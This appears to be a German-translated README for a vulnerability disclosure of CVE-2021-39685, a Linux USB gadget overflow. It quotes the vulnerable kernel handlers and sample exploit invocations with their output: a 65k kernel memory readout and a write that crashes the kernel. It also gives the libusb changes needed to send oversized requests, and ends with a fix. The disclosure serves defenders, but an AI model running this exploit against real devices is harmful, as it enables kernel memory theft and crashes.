szymonh/inspector-gadgetCVE-2021-39685 Beschreibung und Beispiel-Exploit für die Linux USB Gadget Overflow-Schwachstelle
Go Go Gadget Exploit!
_..--"\ `|`""--.._
.-' \ | `'-.
/ \_|___...----'`\
|__,,..--""``(_)--..__ |
'\ _.--'`.I._ ''--..'
`''"`,#JGS/_|_\###,---'`
,#' _.:`___`:-._ '#,
#' ,~'-;(oIo);-'~, '#
# `~-( | )=~` #
# | |_ | #
# ; ._. ; #
# _..-;|\ - /|;-._ #
#-' /_ \\_// _\ '-#
/`# ; /__\-'__\; #`\
; #\.--| |O O |'-./# ;
|__#/ \ _;O__O___/ \#__|
| #\ [I_[_]__I] /# |
\_(# / |O O \ #)_/
/ | \
/ | \
/ /\ \
/ | `\ ;
; \ '. |
\-._.__\ \_..-'/
'.\ \-.._.-/ /'`
\_.\ /._/
\_.; ;._/
.-'-./ \.-'-.
(___.' '.___)
Ein Angreifer kann auf Kernelspeicher zugreifen, indem er gültige Puffergrenzen durch die Ausnutzung der Implementierung von Steuerungsanforderungs-Handlern in den folgenden USB-Gadgets umgeht: rndis, hid, uac1, uac1_legacy und uac2. Die Verarbeitung von schädlichen Steuerungstransfer-Anfragen mit unerwartet großer wLength stellt nicht sicher, dass dieser Wert die Puffergröße nicht überschreitet. Dadurch ist es möglich, bis zu 65k Kernelspeicher zu lesen und/oder zu schreiben (je nach Fall).
Einige Ausführungspfade der USB-Steuerungstransfer-Handler von Gadgets wie rndis, hid, uac1, uac1_legacy und uac2 beinhalten keine ordnungsgemäße Handhabung der Anforderungslänge (wLength). Dieser Wert sollte auf die Puffergröße begrenzt werden, um Pufferüberlauf-Schwachstellen in der Datenübertragungsphase zu verhindern.
Der von Endpunkt 0 verwendete Puffer wird in composite.c mit einer Größe von USB_COMP_EP0_BUFSIZ (4096) Bytes zugewiesen, sodass das Setzen von wLength auf einen Wert größer als USB_COMP_EP0_BUFSIZ zu einem Pufferüberlauf führt.
Zum Beispiel im Fall von f_uac1.c ermöglicht die Ausführung der Funktion f_audio_setup sowohl Lese- als auch Schreiboperationen über die Puffergrenzen hinaus. Weder f_audio_setup noch eine der aufgerufenen Funktionen – audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in – begrenzen den Rückgabewert auf eine Größe kleiner als die Puffergröße. Folglich verwendet die Datenübertragungsphase req->length = value = ctrl->wLength, was vom Angreifer kontrolliert wird. Dies erlaubt es, je nach Steuerungstransfer-Richtung bis zu 65k Bytes Kernelspeicher zu lesen oder zu schreiben.
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
Die Ausführung des Beispiel-Readout-Exploits ermöglicht das Auslesen von bis zu 65k Speicher.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/[email protected]
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
Andererseits ermöglicht die Ausführung des Überschreib-Exploits, beliebige Daten über die erwarteten Puffergrenzen hinaus zu schreiben.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from syslogd@zero at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
In ähnlicher Weise kann im Fall des rndis-Gadgets die Funktion rndis_setup ausgenutzt werden, um über die Puffergrenzen hinaus zu schreiben, indem eine Steuerungstransfer-Anforderung mit Richtung out, Typ class, Empfänger interface und bRequest gesetzt auf USB_CDC_SEND_ENCAPSULATED_COMMAND verwendet wird.
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = (value < w_length);
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "rndis response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
Anfällige Ausführungspfade:
Geräte, die die betroffenen USB-Geräte-Gadget-Klassen (rndis, hid, uac1, uac1_legacy, uac2) implementieren, können von Pufferüberlauf-Schwachstellen betroffen sein, was zu Offenlegung von Informationen, Denial-of-Service oder Ausführung von beliebigem Code im Kernel-Kontext führen kann.
Begrenzen Sie die Größe der Übertragungsphase auf min(len, buffer_size) in den betroffenen Steuerungsanforderungs-Handlern, um sicherzustellen, dass kein Pufferüberlauf auftritt.
Das Ausgeben von Steuerungstransfer-Anfragen mit wLength größer als die standardmäßigen 4096 Bytes erfordert, dass der Host einen benutzerdefinierten Build von libusb mit MAX_CTRL_BUFFER_LENGTH auf 0xffff erhöht verwendet. Dieser Wert kann vor dem Build in libusb/os/linux_usbfs.h geändert werden.
Das Skript gadget.py benötigt pyusb. Sie können dieses Paket wie unten über pip installieren.
python3 -m pip install pyusb
Die Hilfe kann mit den Parametern -h oder --help aufgerufen werden.
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
[-f {rndis,uac1,uac1_legacy,uac2,hid}]
Sample exploit for RNDIS gadget class
optional arguments:
-h, --help show this help message and exit
-v VID, --vid VID vendor id
-p PID, --pid PID product id
-l LENGTH, --length LENGTH
lenght of data to write
-d {read,write}, --direction {read,write}
direction of operation from host perspective
-f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
Beispielaufrufe:
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
Bitte aktualisieren Sie Ihren Kernel auf die neueste stabile Version.